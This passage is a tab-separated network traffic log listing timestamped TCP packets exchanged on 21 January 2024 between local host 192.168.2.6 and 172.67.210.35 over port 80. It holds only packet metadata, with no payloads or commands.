Jan 21, 2024 17:27:12.811542034 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.811553955 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.811566114 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.811606884 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.896970034 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.896995068 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.897011042 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.897047043 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.897202015 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.897216082 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.897228003 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.897242069 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.897242069 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.897258997 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.897264957 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.897305012 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.898036957 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.898051977 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.898065090 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.898085117 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.898087978 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.898097992 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.898123026 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.898808002 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.898822069 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.898842096 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.898843050 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.898857117 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.898870945 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.898875952 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.898912907 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.899601936 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.899622917 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.899666071 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.899676085 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.899689913 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.899702072 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.899736881 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.900444031 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.900485992 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.900511980 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.900523901 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.900537014 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.900548935 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.900562048 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.900597095 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.901299953 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.901365042 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.901377916 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.901393890 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.901401043 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.901407957 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.901540041 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.902182102 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.902226925 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.902235985 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.902250051 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.902262926 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.902276993 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.902282953 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.902322054 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.902961969 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.903028011 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.903043032 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.903057098 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.903069019 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.903070927 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.903105974 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.903788090 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.903801918 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.903831005 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.903844118 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.903846979 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.903856993 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.903882027 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.903904915 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.904563904 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.904628038 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.904642105 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.904655933 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.904665947 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.904670954 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.904706001 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.905495882 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.905510902 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.905524015 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.905536890 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.905543089 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.905556917 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.905563116 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.905612946 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.906327963 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.906394005 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.906405926 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.906418085 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.906430006 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.906433105 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.906465054 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.907340050 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.907354116 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.907366037 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.907380104 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.907381058 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.907393932 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.907418966 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.907454014 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.908065081 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.908077955 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.908093929 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.908107996 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.908122063 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.908133030 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.908152103 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.908791065 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.908804893 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.908821106 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.908833981 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.908834934 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.908847094 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.908871889 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.908905983 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.909674883 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.909688950 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.909701109 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.909714937 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.909727097 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.909728050 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.909751892 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.910434961 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.910479069 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.910506964 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.910520077 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.910533905 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.910547972 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.910573006 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.910689116 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.911192894 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.911207914 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.911242008 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.911267042 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.911284924 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.911297083 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.911416054 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.912091017 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.912110090 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.912132978 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.912168026 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.912180901 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.912194967 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.912209034 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.912432909 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.912911892 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.912931919 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.912966967 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.912992001 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.913009882 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.913022995 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.913043976 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.913856030 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.913870096 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.913882017 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.913901091 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.913904905 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.913914919 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.913938999 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.913959980 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.914493084 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.914552927 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.914566040 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.914580107 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.914592028 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.914592028 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.914627075 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.915314913 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.915328979 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.915340900 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.915354967 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.915360928 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.915368080 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.915396929 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.915430069 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.916124105 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.916179895 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.916193008 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.916210890 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.916223049 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.916237116 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.916366100 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.916992903 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.917006969 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.917018890 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.917028904 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.917032003 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.917045116 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.917059898 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.917093039 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.917764902 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.917803049 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.917817116 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.917835951 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.917845011 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.917859077 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.917881966 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.918591022 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.918627024 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.918685913 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.918699980 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.918714046 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.918726921 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.918732882 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.918768883 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.919490099 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.919503927 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.919523001 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.919536114 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.919537067 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.919549942 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.919572115 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.920306921 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.920320988 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.920334101 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.920344114 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.920347929 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.920360088 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.920380116 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.920412064 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.921166897 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.921180964 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.921195030 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.921206951 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.921220064 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.921220064 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.921243906 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.921960115 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.921974897 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.921989918 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.921999931 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.922003031 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.922015905 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.922024012 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.922064066 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.922777891 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.922791958 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.922805071 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.922817945 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.922832012 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.922853947 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.923604012 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.923618078 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.923629999 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.923646927 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.923649073 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.923661947 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.923672915 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.923722029 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.924485922 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.924499989 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.924511909 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.924525023 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.924536943 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.924551010 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.924586058 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.925275087 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.925290108 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.925302982 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.925317049 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.925317049 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.925331116 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.925355911 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.925386906 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.926141024 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.926157951 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.926165104 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.926178932 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.926192045 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.926198959 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.926234007 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.926901102 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.926923990 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.926939964 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.926970959 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.926985025 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.926997900 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.927006960 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.927040100 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.927814960 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.927828074 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.927841902 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.927855015 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.927869081 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.927879095 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.927916050 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.928571939 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.928606033 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.928618908 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.928622007 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.928653955 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.928658009 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.928668976 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.928719044 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.929460049 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.929474115 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.929486036 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.929498911 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.929512978 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.929516077 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.929542065 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.930282116 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.930296898 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.930310011 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.930329084 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.930352926 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.977787971 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.977843046 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.977857113 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.977869034 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.977883101 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.977884054 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.977906942 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.978193998 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.978218079 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.978231907 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.978241920 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.978279114 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.978641033 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.978661060 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.978686094 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.978697062 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.978699923 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.978723049 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.978735924 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.979528904 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.979543924 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.979554892 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.979569912 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.979574919 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.979583025 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.979624033 CET	49713	80	192.168.2.6	172.67.210.35
Jan 21, 2024 17:27:12.980371952 CET	80	49713	172.67.210.35	192.168.2.6
Jan 21, 2024 17:27:12.980385065 CET	80	49713	172.67.210.35	192.168.2.6
